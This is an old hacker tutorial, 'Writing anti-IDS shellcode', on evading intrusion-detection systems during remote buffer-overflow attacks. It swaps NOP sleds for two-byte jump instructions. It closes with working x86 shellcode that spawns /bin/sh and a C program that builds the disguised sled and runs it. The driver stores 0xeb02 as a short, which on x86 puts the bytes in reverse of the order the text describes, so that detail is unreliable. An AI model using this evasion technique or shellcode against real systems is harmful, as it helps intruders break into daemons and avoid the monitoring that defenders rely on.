--------------------------
      Writing anti-IDS shellcode
                        ==========================
          By Xtremist (xtremist@2xs.co.il)
Introduction :
    In the last few weeks i had made an intensive study of Intrusion -
Detection Systems like snort. I found that several ways of escaping from 
being detected while checking for vulnerable CGI's were already made by
RFP (rfp@wiretrip.net). Also many other common intrusion tactics like 
port-scanning was also escaped by using stealth-scanners like nmap. But
I noticed that the IDS had also checked for a person trying to remotely
buffer overflow a daemon. When I searched through the net for anti-IDS 
tactics for escaping form being tracked, I found none. So i decided to 
do a bit of thinking :).

Detection :
  IDS detect a cracker trying to smash the stack by analyzing the
network trafic, and if they find a 0x90 (NOP), they report to the logs
as penetration with the packet's details.

Anti-IDS tactic:
  The main problem here is the presence of NOP's in the shellcode.
Exploits usually pad the stack with NOP's so that the return address
dosent have to be exact. It is this NOP which is the problem. The main
shellcode (which probably start execve or append a line to passwd) need
not be changed because it dosent contain NOP's. The problem lies here -

          for(i=0;i<(LEN-strlen(shellcode));i++){*(bof+i)=0x90;} 

where the beginning of the stact gets padded with NOP's. NOP is used only
to jump to the next instruction without any modification to execution of
the assembly code. NOP=No OPeration. But the same function can be achieved
by using a jump to the next instrucion (jmp 0x00).

The Problems :
  1) The jump instruction (0xeb 0x00) is two bytes unlike the NOP
instruction which is only one byte. So the offset has to be more difficult
to calculate because is the return address is in between 0xeb and 0x00
then crash, boom, bang :).
  2) A nice shellcode isn't supposed to consist of binary 0's and
this one does (0x00).

Solution : 
  1) This is not really a problem. If the exploit dosent work we
just have to add or subtract 1 from the offset since the jmp instruction
is 2 bytes.
  2) If we cannot jump one byte, we jump two bytes (jmp 0x02) and
this does'nt have binary zero's and will work fine.

Code: 
  Replace this :
    0x90
  With this :
    0xeb0x02

Thanks to:
  Mixter, for letting me know that there would be a problem of
binary zero's if i had jumped and also for all the questions i asked :).

Example code for x86:
char sc[] =
"\xeb\x1a\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x08\x31\xd2\xcd\x80\xe8\xe1\xff\xff\xff/bin/sh";
char buf[256];

int main() {
  /* memset(buf,0x90,256); */
  int i;

  for (i = 0; i < 256; i += 2)
    *(short *) &buf[i] = 0xeb02;
  memcpy(buf + 256 - strlen(sc), sc, strlen(sc));
  ((void (*)(void)) buf) ();
  return 0;
}